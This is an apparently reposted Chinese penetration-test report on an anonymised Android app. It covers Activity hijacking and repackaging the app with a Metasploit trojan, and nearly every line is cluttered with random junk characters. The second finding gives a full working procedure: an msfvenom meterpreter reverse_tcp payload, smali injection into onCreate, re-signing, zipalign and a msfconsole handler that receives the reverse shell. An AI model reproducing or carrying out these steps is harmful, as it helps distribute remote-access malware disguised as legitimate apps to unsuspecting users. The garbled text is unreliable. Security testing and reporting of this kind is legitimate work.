原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

! ^% M+ L1 I/ l6 O* Z3 E

- C0 c! T8 O" N
`5 s# s2 j5 o$ C4 i

. F8 U% ~) e8 k" N1 b1 m' M

% S* \/ Y6 l5 I% x; Y7 k* p

- m7 M$ N4 q# p9 F9 e 文档编号：                * N7 f* }& m5 g3 ~

0 \1 [5 `7 ^- y2 V/ ~; C# m

' `/ A+ q$ l9 W0 R; h2 s1 j% w( {6 z ' P F6 {6 H2 f" U% z/ c, k   $ d) l/ c5 x4 }( J, f

; v% N& }( K, d* c

9 N3 o3 y) R& u8 M h   # }; K/ m/ a) G ' O* H+ C! Y! w$ P: d# D

3 F9 k& d5 `) B3 m

3 p4 v0 @9 ]+ E4 x T7 T3 C/ G; w , k3 `) V# x! ~- B   ) W! j- U: x" X- B6 K

$ ^ G* @: E( ^5 `

7 q9 [: H" P( s7 R/ w   4 R7 |3 I8 T. @! I$ @# {; @

$ C6 `( k) s, q. s- c7 s c % c+ W+ K" U0 U

|/ u5 `9 Q+ M   ) P' o' n7 S% K5 b9 W ' l' N$ d u* u" T2 P; y

. c2 y) J: O3 a

+ J8 e5 g, p: K: H % A9 R. f0 e: E7 \- u a6 b 某某某APP渗透测试 ! w4 V/ r l. F; O3 S) K

  * U- M( c" U* T- h3 J$ B4 K

5 p9 P: D' p1 L4 t+ e5 x8 n

  % ?- v: \- R, w: e0 L1 Q* ~" M3 W9 M

& ~2 w4 }3 f5 x0 D9 ~

, C0 U! E; c- k( }" P- D- r7 V 6 @* M; |9 d- R% u1 B- [3 l. t: D   . F7 b2 N4 s9 O4 z' p9 s- G H - T: |8 E" t' _

& G# s) ~: f I/ R0 U % h% I* x" G+ S. q) r

. E p5 |- N4 U# U6 ~  

技 术 报 告 3 @1 o, y! y) V* z7 x- b6 r7 t6 S

6 Z z6 I: ]3 ~: N2 I% S# |6 W, v

% g& w+ p1 g$ G1 C# S9 ]  

7 j' N7 R$ w' v6 G/ X9 p6 W( @ 0 @, Z1 z1 m: g

x( w& h/ n. |5 _4 L" Q2 I ) z2 {$ [6 p/ |- [6 L: l- S5 L7 F   $ A% ?/ u( L" j% g$ ^# D * e. A7 |1 t& M& c) v! [$ `

 

. L% u {) D6 \9 V1 _( u! y8 U

# o! _ t+ Y! c2 D0 {   * r9 w# r) c0 h

. p9 N% k- R h: O; g( E4 }- D) S- n - H$ h, q# H8 H# ~% a5 O# H: \0 ^# c

  a3 l3 ?$ p- h3 V& Z: B; u |

, o& m9 L- F3 e8 n8 v" S

! p, c5 o @+ {" W( ~ 9 k* _8 v9 z& ^2 b% |" b   - d1 a: U0 H' e, |5 b

. y/ ~' o9 l+ \3 t

* s; w4 Y( u: W! O* Z6 h  

' A3 d! |& K0 {1 B : F f! w2 J( z& Z' m

$ l7 q: f- t! z- k. @: ]  

# ^- I. D* h" W) s

  , Z1 q' C6 f- e% {

7 i8 ^( i+ H2 Q2 @. b7 W k

& v9 b5 U) Y) b4 F   : K. Y) n7 K2 ]. E/ j. @ " n0 N) J8 j- K7 D

# ~+ a0 c3 F V$ N   8 K. J8 G" W! ^

  # a& s) w& C9 N0 \& E. z: u) T $ |' f+ A; K2 F- ]0 n' P

- r+ E$ F% h/ b

7 S. W; A. c2 u# ?# n: O+ C H9 T- E8 @$ |/ S   & r# n+ d* a d3 t 6 u# I) n* {7 g& l# x9 ^

9 g" P6 r/ c4 v# ^' b2 n 5 e; X7 I' \( _' A8 z6 q

  6 f& v: [% T- O; I2 n- H+ O, t- Q/ {- j , {% \) e* N7 s! ?2 ~

6 h5 ]2 c2 F) K( ?: p. L" O 2 O8 O' q: @. K$ B4 \3 ]

  6 q [- w* J! A! {. U$ K. g

/ n0 K) X% G& N' J : n1 b- ]" @2 H

5 c" a0 I6 e s% j9 D8 J5 ~# K 9 g4 t' g* m) c) V' V5 x! n  

$ S. F. ^) O, j

  ( H( a5 N' O: n : q9 ?/ p! K! f+ {& J) b

' C' {$ [8 g' J

( c! Z( T* ?: Y% v. z: [3 m9 R ' h3 _4 L% j* O- o. L9 ~1 ~4 x   0 w, G- H/ s& c v

* V7 \3 w" b, t- c- p2 d3 w3 \% i' U# W 9 p+ O% d6 J F0 J/ j9 h! A

$ B% f) W3 b# n5 W) S 二〇二〇年 Y$ L9 t( D! A+ @* R7 O

: a1 N4 v* R+ I# W' {4 }

( {1 k! ]8 D8 y# P, u8 H % {- N* g; v5 F( w5 x; _ 4 J' k I3 Z3 q! J1 b0 _/ A

& F" `2 u) ^5 M+ j; A! W4 N0 c

; z" o- n7 O% L3 Y ( x6 }/ x" C+ ^, V) ?
# \# H8 i8 R. ?$ Q$ a; ^! y3 y 1 H% k" b" {% S/ U

+ U% r! b) e7 i7 u5 j0 D

6 C. w3 q: N0 \: q 5 x7 [+ S& _, ~2 g* K 目 录 8 f3 H% E2 v# n3 j8 m9 A 5 p0 l: P; U5 W# I5 b6 |) f

) v' C: `+ i6 C9 |$ _ / z& q' t b7 E$ B7 u: U0 Z * ]; E2 V3 `4 U/ o1 |7 ?' K1 N

8 _- F8 a, e, d2 @7 W: y  

4 l2 h, [, A! Y$ J- G 1 概述... 3

7 O p9 K3 S+ s( u9 d. ?/ D

- f) I( s6 z0 J, H1 L9 k0 q+ {4 Z 1.2测试时间... 3 8 H( v0 {9 _- W; M

6 l7 {9 {, |) ~7 Y" C ; _* T7 s. I8 |5 Q# N. a

4 k+ V% M q( B9 c% H/ Z, r 1.3测试对象... 3 ( J, h2 |+ U8 x9 ~5 P

1 `8 X \! q2 s- X4 j2 @

1.4测试结果... 3 / b" t* a8 q: ^7 ~7 f7 c# }/ L1 N3 c

8 u- V1 H1 f! \; T2 I

9 }2 F% y; g4 g" F0 S! G 2 检测结果... 4 # M5 p. ?* \6 j' f

* l( W& y0 r' _9 c 1 |$ [8 }5 _! l3 n

2.1 某某某... 4 " _- m2 ?+ G+ i4 r- L/ a+ {/ |4 T

% N' v) G5 V% B$ y) R7 ?" w

2.1.1检测目标... 4 * d5 h4 s/ p5 k! }

* p5 i' k! ~/ Q9 @

2.1.2检测结果... 4 & e3 K0 V# S) O0 I- _

4 H0 W! d( T' Y' a5 i: K

2.1.2.1. 4

+ @% X, ?7 S8 c1 v, {# C9 a. N4 P! p5 { 4 K# a/ I1 E" i: V) I/ k' l( K

2.1.2.2. 6

( J# V2 ^6 L1 T- s- q9 [

6 m1 H) \' o# r3 O& O" g) F4 Z

2 _ Y p6 h& s% U( w 6 ?: @0 s% u$ w" V/ L4 L U# W

Y F9 v( O! }9 O9 b" p
- I2 Q2 h k6 m% ~% Q 6 A3 X) h* t! h/ N" d$ V) s' Y" U1 O! D

1 概述 ) h% y6 h/ K9 I" Q& C5 I8 [& y

8 R% ~, V. W k% S% b# ?/ S 1.2测试时间 % U' K4 I. d& v. ?. o( Q2 x 5 s; Z" c: Q0 q) h j- G

; s# Q9 ` ~+ L : T$ o6 t# s% l& _6 e! b3 y0 g r4 F8 h0 r2 d+ g0 W* c# E: S( O3 l: v; V/ }8 i4 b- A3 n* Q y( I5 E0 z* ]4 ]- V! s& I8 d9 t' D- S8 ?3 C5 w s/ r+ J6 c' f2 {: Q- k; z8 r4 C: O+ b2 N2 ^2 Y7 V* |! i4 E7 @" G9 u( j6 \* u3 V' O- J2 l6 c, I. S2 K$ S# Y( t+ x1 K2 v# d6 e; m! ?& ~3 d1 F( H) {$ W7 z9 J* H/ l: Z& ?2 M, q5 A4 B3 p! D5 ]/ B* R( q* u( B$ _1 t( h H4 i: X( Z* o$ z' A

; I1 e$ Q0 G! R. _ # P2 H' Y& t2 }, i 渗透测试时间 , u0 l/ T: K6 S/ C, ]8 R
) J! y7 ?3 a4 V , _+ \' B, V0 u, t, d7 V* T 起始时间 9 V2 R" S9 B" A$ k % w; z- \6 B/ Y * }( b( t$ [! h4 Z* y+ s	- c- P1 _/ S; Q4 Z ! Y' L& v% j4 d' E/ c & x/ N% l* {4 ?6 ]4 U q 0 K% h( l% X/ O& M# J2 ^: m3 X 2020年4月6日 # U% W: m6 J I/ q& J6 b6 h
7 e) B5 u$ x* F0 T" s% V 4 w. z! l3 @2 J0 y- W ` 结束时间 6 i, d+ ~5 m+ `2 _9 Y( H4 P ) g( p6 H7 S: N$ @( F( x0 y1 u0 E( t# S 8 L& I8 B6 |# ~' S+ U9 B+ B2 y	) k# R" T# |* q- f/ z . O4 x( R5 Y- W2 k 2020年4月9日 . b' C7 V+ _( D # i$ g& R$ `3 P, q4 {7 t

5 x2 V5 X+ T3 z n e

; z; p! w7 e& x* G e7 i, U5 \ & S- ?# r3 J6 G3 t$ M7 B7 ? 1.3测试对象 , ]( U- c0 U+ Z2 p) m

( x3 o5 H* U$ N2 E( f1 E

/ v# _# X3 L& y. I: w 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示：

! C3 B+ N3 I& D% p+ a % h7 y1 K- R0 d( s3 J7 a" ~3 }

+ y$ c8 X! D; W2 Q, G7 N 表1-1 检测对象

! {9 A+ e0 n" y4 G; y ; I/ S8 {$ c0 j2 H" W, \: X" h! i4 h( _5 q0 { `6 j& Q6 b5 ?4 B. g8 s' k4 {7 t `8 K* E. M3 O q+ j- S3 B5 X0 m2 O2 ~- F+ s: d' c/ @1 D* ?0 T3 c x4 C3 E0 k$ |5 u) J& Q! {% H- r: {+ A, R1 i! t+ L$ I; [. [0 v4 T) P) y) y1 A/ ^& P2 U/ z( C. E0 u* g3 G; K$ S0 E$ }" g7 o ?: C( |0 q# M* w; B8 j% b9 U1 ~/ H. @% m2 ~' l

% L/ j8 E: G' v/ B 6 u! g5 x2 U- V) _$ g 序号 & n( E, v7 C0 D ) ^1 L: Z$ e0 _	测试对象 " @' b, |, G0 i3 [( |- p: s / ^$ ^5 l! p( N; K	! B( S n4 n: U6 s# i7 s* W 7 F- ^$ o4 }) ~2 N/ l( T3 Z 0 s- F( [) g/ b6 Z2 X0 p 测试地址 + L2 f# `) z! A/ @* V! v	% M! p8 C! `8 C! M$ S 安全漏洞 ; r3 U1 D; c3 S" o / h( M3 W' v2 P$ y: O( i3 V8 w " F, a' z+ @2 h1 Q% O5 ] s; R0 K M5 Q) E. E5 j: t4 W
8 t4 `& { |: D/ g& T 1 4 }1 ~! \6 i3 l4 n 4 J, a* |! k8 \	: u5 I G% {6 n# Y) u # {- b4 g& H3 o% N( {: T/ H2 m " u' k0 q! w6 ?) b5 f( C4 Z 某某某安卓APP * `$ o* s% S0 d7 L( A ( n6 o' f, G( e, g	( C1 Q+ _) w+ o; A+ N1 H ( ]( b- M4 a. {5 j7 g ! {! d4 T9 }+ c7 F   / L; R. @0 G+ Y9 v+ V ( p8 P5 d3 ]$ ~, v8 M1 I/ | ' J# a: s; K' j7 t7 v	4 F* D+ y7 l- N# G4 Z8 y 2 % h8 v1 `5 b* L9 N

1 v0 C: `: m2 p; Q x3 m

; j) h& P! B$ L+ }1 ]; e$ r( H ) |6 Z6 d/ u9 w! _1 Q8 `, r 1.4测试结果 ) i! h% t, O; A" m* A# K8 D3 f

- C9 @2 f; A$ v' X2 L2 b

& U# l7 e: R. a+ ~3 M4 Y 5 g8 ?) Q# ?2 j) A `1 f 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： * H$ [+ B0 l8 Q& ?' {! I3 Z

2 _! Z5 u! v4 `) e" C$ V

4 _3 n0 M( v' b' K. U / I9 x E: h# i* a# \& G& p t5 K   8 ^! Z/ L. ?: F+ g9 c. L

( o8 j0 v% A; I, M: F6 x

' t& y7 a8 p5 @; Z' i & F' Y& A) y! [5 | [& A ( j5 q' U6 D* ]+ f. ]5 n! d( R B: e+ i0 ?5 _# I9 `/ Y- Y- F6 Z% I$ g. |/ X0 O* ?: A- x0 i( c8 t5 s/ Q! `$ a0 O3 U( }# m3 F+ v3 e% w6 M2 W: I; M( v2 I& ~7 c: t; X! w: U, _9 R2 G) l) E) J5 i5 G) C1 U6 j8 I) g/ m ]: ]* o$ \ R2 x/ z1 D! V# j& H2 B8 }3 @4 k) }! n6 I4 M! Y3 s$ K" |1 C5 n% K$ X h3 ?: {- `4 s1 P+ r5 |+ t2 {1 Y! ]/ ~5 C" Q( y" [! @5 v5 N: U' X0 k: _( h: f/ s# J1 W- Y) Q- @. ^6 u$ c7 E3 d: H& `+ G8 a3 B) m) P, b; A+ A9 D. z3 F x/ R2 O* v# s0 U2 C

/ U8 x1 m. ]/ O8 l " o. u: A, L' o, D R" K" C+ a. ?) v2 @) M 序号 2 }9 N7 N, S* s( E4 k3 F) l	& S0 T G h2 ^% D4 _ 系统名称 - z) s- l1 y$ b5 ]8 b6 W- f	# @& h+ t( e: o 漏洞名称 ! y3 b" N" R" Y. Y3 Y9 ?6 n( N	/ C$ ]. D# V3 f$ O' M' F ! N/ P& E8 |, g$ h3 x6 X- V : ^ e2 L t p7 H9 s. ]& S 漏洞危害 * K7 Z2 K! N1 o0 X$ N9 O + e/ K5 _+ r$ i$ ~	C" ~4 Q6 O4 e, t4 q1 s2 l. | : W7 O& q8 w$ N3 U' l) d 修复结果 , z$ q6 Q1 @" {3 r2 x $ g' {2 y' n7 A8 ]
' n; p4 y+ A: j + s. B8 a$ U2 \+ }' i ; M) y' ]9 w4 \0 H# Q / T% C0 \+ [& \- t) O; I' Q 1 $ |! } d. G! S / d7 C' |6 ^8 H, T	6 Q' b6 _; ?4 m4 V6 }, h # G- }( S; A4 H0 v# b* I% t j5 w2 m* g! K% p2 ]8 w 某某某某某某APP ! y6 f/ W- T- _8 W- y	9 h$ H: X+ k* O) q% ~ Activity 劫持   . ?+ z/ ^9 }- |* @2 d	高	$ v- E" k5 w0 U. S( i3 W9 ~   8 f6 C7 q9 n( B7 u2 F9 H" H 8 P1 C0 z \* k v, F6 G
5 T0 ~9 i- Q; r) g& [ - q( U8 g& s$ u) e6 G 2 % {! f% n- ~7 ]2 Z5 \' C, c - V" W" `4 o* w* }$ r% ]1 j ' p. w m2 j5 H: `" L% J	; i! O1 V: E, }3 r" t, D0 X" S ) U8 f( ?7 `, w' W 某某某某某某APP ; p, B+ X1 T" {1 i7 s) {; l- H * O) X$ j/ q% a; q; U	' v. l# C+ H+ a F+ D / n" i. |7 a) f$ Q4 W4 S5 z 反编译二次打包捆绑木马、篡改APP代码 8 y1 \' Y, \( U/ q. b8 g % U4 P) N" f7 n7 v	. n" c, |( Z, Y8 S 6 |5 q, r* s0 J* [) v r 高 $ N% H1 w0 ]/ t r e( ], |& m$ o	" \- q- _+ o; `8 Q # ^) ?5 Y' i! K2 U- r $ y# p, U9 m" B9 E   2 |* V* p# w. [

5 E* ]% r2 ?2 M5 x+ k' k

8 {& T; i j- E* G   / i! I8 R3 @+ @6 m

% @4 j0 t, @7 s* R' X4 m $ { v0 S9 d& _, C1 C 表1-2 测试结果 * w' c0 q) q& X- m& R9 U# ~ }* S, M. n! t3 w# ]# f

9 s4 Z) K) z; [

5 |3 Y+ Q* Q( w , Q; f2 N5 s3 h   - M8 q6 w5 L9 Z) Z s2 H

7 ?. A. x$ w& c

5 E& t. ~4 w n5 h# ~2 y, `, G. t % o/ g+ x( i7 R- I% }2 L; x 2 检测结果                    L, i3 k: K/ y# D3 ]

7 ]: A( q" B* M2 n# V 2 ~" l" z2 V) A5 g4 v 2.1 某某某 $ J2 M A. j) g# \+ n* B / @ F6 i1 v5 K: u7 l& V

" _% j$ B' Q4 g, H) A: F9 q: l 2.1.1检测目标 # x6 r" Y* {- i- [ / `" k4 M# A1 a9 m3 C6 Y

5 h- m, X5 \8 M" D. L' {+ Z

$ K+ A& Y9 s0 w) G6 w 目标地址： 某某某某某某APP o/ b: q4 V: s " }5 z% T2 m6 \$ I3 { a

8 D# U# n% V& b- F1 ? 1 q; \7 u. s0 s+ F/ o: i) n

3 j% x% m d. F |, y1 b5 @: l 2.1.2检测结果 - N- P. Z2 p8 W: F/ N4 ` E/ S& R

' [+ m: D. g, H; Y% I7 D$ z

Y( N: m" Z& [7 ?1 r8 |# ?2 x) t 2.1.2.1 3 W6 P+ g y: Q. o

; H7 C; S3 U8 R9 g% K 4 m: p$ z' v0 E& V

% w& y' ~) m) ]% i' S 漏洞链接地址：某某某某某某APP ! o6 t% H' e; i) X2 X

0 ]# h+ P+ P; a6 } ' m0 a; b% n, p

/ s) I, f3 _& u) k2 v2 O  

2 V* Q8 t+ h: `; v4 U

y% G7 M: p% r8 W( Z( C2 G / }) t- A& Y! T/ e3 X3 i 漏洞分析及取证： 3 {6 P5 X% m, j m 0 z. q" n' p( o$ e% F& A6 R: i

7 J3 R) \- A/ m: c. y

+ p% A& ^, p9 S8 j0 J3 C. F1 Y                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： H' f2 z& Y/ v

8 W# l5 p: M4 B! o2 Z2 u) _, g' H% y

) ]( C* R# \& C0 Q% M4 D2 f) m! J & w$ V" B' |, M8 N& m      6 V0 b# U( N6 G: Q# k( v, j* D; g2 @ 7 C* q5 g$ [0 _0 A& q+ ~

: v0 X& h! L9 C1 d6 ]* { S# m 6 Y# A; P: J5 O, h/ W0 |# \6 i

                     

. \; P% v" A5 \0 V- Y% H1 [4 D # L$ j) y% D( g1 ^" v3 ?

2 Y# |1 e k. Z5 k4 _4 Z4 |/ b . o6 d5 |; P0 `1 q

$ j$ ?$ }% j g5 H' ?

. e# u" V- R4 D) `9 I" h% }8 F9 U 3 T( v2 n6 t1 K! I! y

) l- n1 i% i8 {" \# t& T5 H

, u5 l0 l7 ]* v) G- h) E; j; l& v! M5 L

8 R: D1 e( E2 z* V6 h 漏洞危害：高

4 ?1 @$ B3 l: B2 y" f, h* O; I5 l" ~7 A6 ^6 M6 O! K% W. r& `- q+ N9 ~, U* w8 w! C9 p( s' l; D4 {# O( u8 J' @1 p% V3 w0 K7 P- }6 H. e: V# z- H* F( M: r& l) o: Z# u1 N, Y' G! m9 t7 c* }# h. @8 G0 j' ?) i2 Q/ J; U& c) A _. n& U2 C3 _2 u2 b: `) h7 n$ } P5 s9 W! y. {/ T, K' @2 Q9 j& X" b s4 |: R1 j' l& }" g1 c$ ^# C+ n( x! x! q+ ]% Y$ T) \: C* X: E8 a5 S+ r

: ?; ^, V& C4 q6 ]9 \, _; m, n - ?- r0 x1 s) L( f; d9 W$ g1 e 严重程度	6 C( |1 i1 V# L3 `4 H5 T) y 3 h S7 |+ G' Q: b( Y) Y0 ^, A- j9 D 高 4 n' |4 K3 ?/ ^; v% n# P+ Y4 ^6 X 0 a& y8 f; n$ M4 @# j	- _ v) Y, D* a1 { ■ 7 V D; E; ^) j- ~# W' p+ Y	. H. {$ K& E+ p, `" J / m; { z. H% O: L$ E3 N 中 . G c' f9 o9 G2 h, { 9 x3 C4 ~$ m1 U1 i: c* V 8 l' H ^9 @; o	' `! S# ~. O d# w, s( A& Y ; P5 p; W* \# \* i 4 p- F+ b4 T' \6 E# J   5 }: p. g9 P5 V	8 e- c, i! g, l2 @9 D 0 _% q$ Q( q! ?$ c6 Z8 u, Q4 L1 U5 Q 低 3 g/ B* m' _0 \+ t2 _0 O& } ' m% q* _9 }! s1 Q / N7 K% e) j$ [% T	$ g: b* e: g) {. T) ~4 | ) g4 m/ }3 J+ A0 q* `   * j" G. U0 R: D' J: s% A , S. J( ~# K+ N/ Y+ G 6 q8 b" V: C) s, `9 y3 `6 @

/ _, D* |; [. ^" U

* w. @; ~; t" C- `9 b9 \4 C% i/ x   3 e' { G2 q: c. C$ Q

/ `; v& @3 ` U7 d9 s: b" e8 _

! C: L* K( z: q6 r+ E 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

[4 c' Y2 }; Y b% H# W$ b6 S

7 L) ]+ k* i6 E1 f Y8 e           # V6 p6 x: y( Y+ v

* f+ p: y% o6 U- Z d, B

4 R& F/ U; B8 ?2 t5 K # V* Z8 C8 I: ?5 w, Y# j   ' W6 h5 `5 m, A) M3 X5 v. e0 F

, f) R" s6 ^# ~: G

2 G V3 m5 K# ] 2.1.2.2 . W: x, _' c# P; S9 v) t 8 t! {; c; b! h; T

, ~3 g8 O# t. u- w% u T% t3 ~- j( d2 o

+ p& J S3 C7 F. D3 k; G 漏洞链接地址：某某某某某某APP

; L6 U% b2 P# t

% t0 h6 d8 U# K; y 4 R( i, ^: i, \ y8 N+ z/ ]) b 漏洞分析及取证：

( e0 `4 N% f/ L                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： : }/ W' V4 K4 S: j! R

4 ^; z G5 n) I8 T+ o' b& F; _

: t# B4 y. E0 \+ @( u3 Z6 g" l 用Metasploit 生成木马 apk 4 j( A' ]( T0 ~- v

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk D! W$ L6 d6 O* @+ Z 5 y; |, Z# V* d) F( m! I

4 }2 |! a- `, P: C+ Q$ ?

) \; A. M! I& C5 u4 t2 W' O 反编译目标apk和木马apk

apktool d target.apk
, j/ k" g4 o4 J" N0 m4 {- i: ^7 W+ W / T2 ?% X' I5 c: d# c D6 x apktool d cockhorse.apk % @0 X7 P0 y5 y3 M5 ^ x , U/ `, G! Y7 m4 D, p4 p1 a" h

! U2 r% j8 P- R; x+ ?& K# N$ s

$ F/ d" U. o9 i _1 y6 V" V. f 木马 apk 注入目标 apk

3 `* ]! n4 Y" G4 H, i$ S ( o0 c7 g" R9 S0 g- A9 d8 ]

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ' U# i6 o( [' I" {4 W2 z: j % }" X( x, f, x

1 B8 g0 n" x3 J) R* c4 c

8 y. i+ ]5 t# ^0 A) U 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 {+ T3 s! A* Q- C" R% a' v* G 8 e8 E1 J; r, L8 z ]

; z- |$ @" R g0 d

1 ]3 M2 I- G( O# J1 P, \. g! N1 l 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 8 S4 V2 f# @" t, K

% @6 n/ ~+ C# m5 x$ J6 E& I 回编译生成最终 apk l+ M. a) n2 e' ^2 Z w0 @; m4 B3 ^& e- o1 U: U

, L" {3 w* J/ B3 L

重新打包 " t) _, K- g. J8 E5 q! h# y9 e: h ; X# c. E. S4 w ]- z

+ M8 v& v; n! h! R ' s9 V |+ p1 S; F/ `

apktool b -o repackage.apk target_app_floder ' k) A& Z' H- ?( V! }& M) g; [2 g& h ( k' L0 l6 J7 D1 m# e0 a

' R1 \/ _8 Z) q- p" n" P# N9 u2 n

: I" m8 v, F# F 创建签名文件，有的话可忽略此步骤 0 w9 [* W% V: ]5 G: M3 r% g

- N5 r3 K O' R1 U$ N0 s' y; @ . Q4 q" ?! m' P5 c" L

' `: }) d/ j6 K. F keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                ; t4 q; `; N7 q% P; k' p1 {, d

9 E. R' m& A8 t4 @) h$ u5 m ( u$ _5 U1 z% A) K) `

P. ?8 v* i- Y9 f 0 \; P/ {' m$ |+ J3 t 签名，以下任选其一 J! z R$ e4 o* W) X: H/ I

$ J- y! B) m4 k1 \4 `8 ~

& V5 x; m0 t* e: l0 [ jarsigner 方式 5 c4 t. j/ A* }- z% F( j" M ' [% b# N1 e$ H) _) i8 a, @

. o# |( t0 Y% r+ ]9 n

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 4 J7 r& ]: \) y

% Z; T/ i! x3 Y1 I* a# |; s

+ p3 v' P0 |1 P( N* ]6 P% ` apksigner 方式

" Z1 Y$ K5 q, N) G+ Q5 ^6 `

1 h/ c6 T# w1 ^- a" u1 P apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

, B: ~" i3 C2 {9 m. W( U: O1 P/ W

如需要禁用 v2签名 添加选项--v2-signing-enabled false ' T" ^; d' C7 l- W1 T: `: F V

, ^5 X& ?3 ~3 F3 r2 I ; \* K _% p2 c" G, c1 L8 W! M

7 c. j, J& U- R9 q% D 验证，以下任选其一

% M7 [9 ~. u# |

jarsigner方式

5 |+ ]* B0 i; n4 g7 m' f

5 d, y; t( I: I. J3 P& N$ E1 s. V/ _ jarsigner -verify repackaged.apk " z7 Y: p9 L6 X. e

apksigner 方式 1 p5 T; G! s+ o( h1 Z; H( B4 r

apksigner verify -v --print-certs repackaged.apk

+ x* Y: R Y6 v" a$ b

7 \& X! E" S. F/ a5 p# f. Y keytool方式 5 ^4 x7 v6 ?0 O# X7 c0 z& G9 O

1 ]4 H2 e# F, N; i1 o- i% b$ u keytool -printcert -jarfile repackaged.apk

3 A$ P8 u4 }1 q6 |

5 A; j5 m- s% _& Q) h* ^ 对齐 ' T) z# Y6 j( B: G

1 d2 j* l* v2 ]' _7 S: _ 9 n& p+ C, m' L0 ]2 B

字节对齐优化 7 L/ W: c5 V* o8 _; |$ \

" S; z, r2 i/ m" o3 p 2 n) K* i; ^3 z2 |% v+ |

: b$ X# D6 u6 k zipalign -v 4 repackaged.apk final.apk 7 z, @6 y0 T9 ` _- a# E1 p ' S5 N9 S! d" K

9 { x7 f1 R, V2 D- p5 _

检查是否对齐

: m& ]6 ?/ [" {$ P# \5 }7 `

$ f2 `% U8 j0 `& m( [7 g, ?3 z zipalign -c -v 4 final.apk - }7 E, M+ q% ~: Y P- M, r 2 k! Y5 l: V8 [, D' R2 F

$ f" Z$ P% _2 u3 j 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行

$ N1 i( X. j% |

启动Metasploit控制台，配置参数等待上线

在终端依次输入如下命令 , d# V8 p7 `* R( M( _. N+ U9 i! n5 t

5 B3 e: L" v$ d# S3 C; y1 R3 d5 l

- S- g! X* Y3 V" f6 p msfconsole ' ]! @) Z8 l9 z3 f* y( a

3 |. V8 r: j, H6 @; X

' |2 g0 l# E& ?) j7 E$ }) p8 x use exploit/multi/handler ) c0 [6 l h" s1 S# t 4 x" k6 L/ V" f( J0 o# Y

% Y& p% G9 Q6 X! N

set PAYLOAD android/meterpreter/reverse_tcp - y: x5 U+ o3 q7 ~+ V1 B" I ( p8 b+ e- h1 B& u4 r

% V+ f1 I2 N( B. l2 o& J( S0 A' t! h

. U9 I! j6 z% k, A5 w) o& ` set LHOST 192.xxx.xx.xx

. X! V6 H: M: a3 l 3 V. C3 H8 ~2 A5 Z set LPORT 4444 & L) v* J ~. u4 x" l. y+ {/ b: p

% w3 I' H' Y/ N' |0 g exploit

5 j, i, \& M1 f/ t9 x # O- x+ I+ d9 d7 N# F7 e! J 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               " \' e- E- w6 k

; m4 i) ?6 c, _+ Q: e: N

5 R9 {, j5 Q; |; Y2 m 4 e9 F# [% m' X0 K, O& \9 ? 漏洞危害：中 - G& j/ G# Z1 O8 M$ C

, s h& V e" h0 p1 W6 E4 F

& I$ |) z! b, ~# \' E * z+ E0 F& H! ~& w; F : S3 N/ e G8 f4 O$ C( \& N5 q. r3 N( g6 m- |5 g6 b9 [7 Y( ^# H' ^9 H7 J( K' h% Y7 R9 L2 ~+ F4 c& X- S9 x! Y' O6 t8 y ^$ H- T6 @1 Z; e/ T1 m1 m6 d2 G+ d, L K, |- m6 H v# P4 f1 {( W( d" r# i3 s; l& i& A% t! S5 o" S6 K" c; o) _- L0 R5 j6 _$ j5 ^7 p- t) _+ b( @' T9 w

# W9 l( I' U4 {8 d6 g. d ) u0 c0 _" `, {: k* W& A, D 严重程度 ' o4 q( M. U: }4 F: H' P9 j8 d# h 7 ?6 ^( N7 s7 c6 m' |& a- m( Q	: X4 |5 ^% N. l0 @ 高 ! D, n. a" ~4 c( ]1 q- A5 P	■ 7 X6 I4 i+ x$ W K8 E ! R$ ~8 l M5 B( _2 _$ l4 C# I3 F	) G# _+ G6 `( i: U, Y! Y/ }. p / R' a' I6 d; l5 Q* S: @. W 中 0 }+ q! c5 U1 }1 y1 |% I. { 7 J. J7 k1 _. m& c0 M$ Y9 ~( v+ i # n, o0 s1 K2 q9 M/ i" |8 }5 R( I9 k/ ^" s	$ E& h9 z# P+ _( S( a. M ; B Q @3 s) F9 B0 S$ M " G7 r. U: h6 }% _! @' O 1 }; b b* d, P6 k; a& z+ Q9 l , L* J9 K- f4 i4 Z	- z8 U2 U2 s( Z7 I - _4 b, s4 g, Z Z) y* g# j4 [ 低 " l3 w; [+ s; |' B' ?	4 L z7 N$ R# C y$ s 1 }! ] s1 ?0 h5 n* P ; [5 Z) T7 ~* `/ Z) X9 E: y : U n7 o. Y) c) s1 o, P; i ; Z; {* _1 Q9 W' C( S' h0 s   f+ H3 W8 _6 `; ?, M0 _3 N( ? * f9 ?" b9 R8 h' E: q0 e . a$ p7 s% A, S. o# y \

4 Y( _" Y$ D2 C2 p+ V1 s2 n

" t$ Y6 \! W4 {2 Z6 z   ) n3 v9 i5 m% E8 g+ B' Q0 i

' U* {5 U! v# y$ r/ T% H 修复方法： * M$ C4 r. e. q, M! S0 b # v! k# s5 ?+ p |9 O! x

* P R. z4 o& `* a4 a               1.在 APP 启动时应做签名校验防止二次打包。
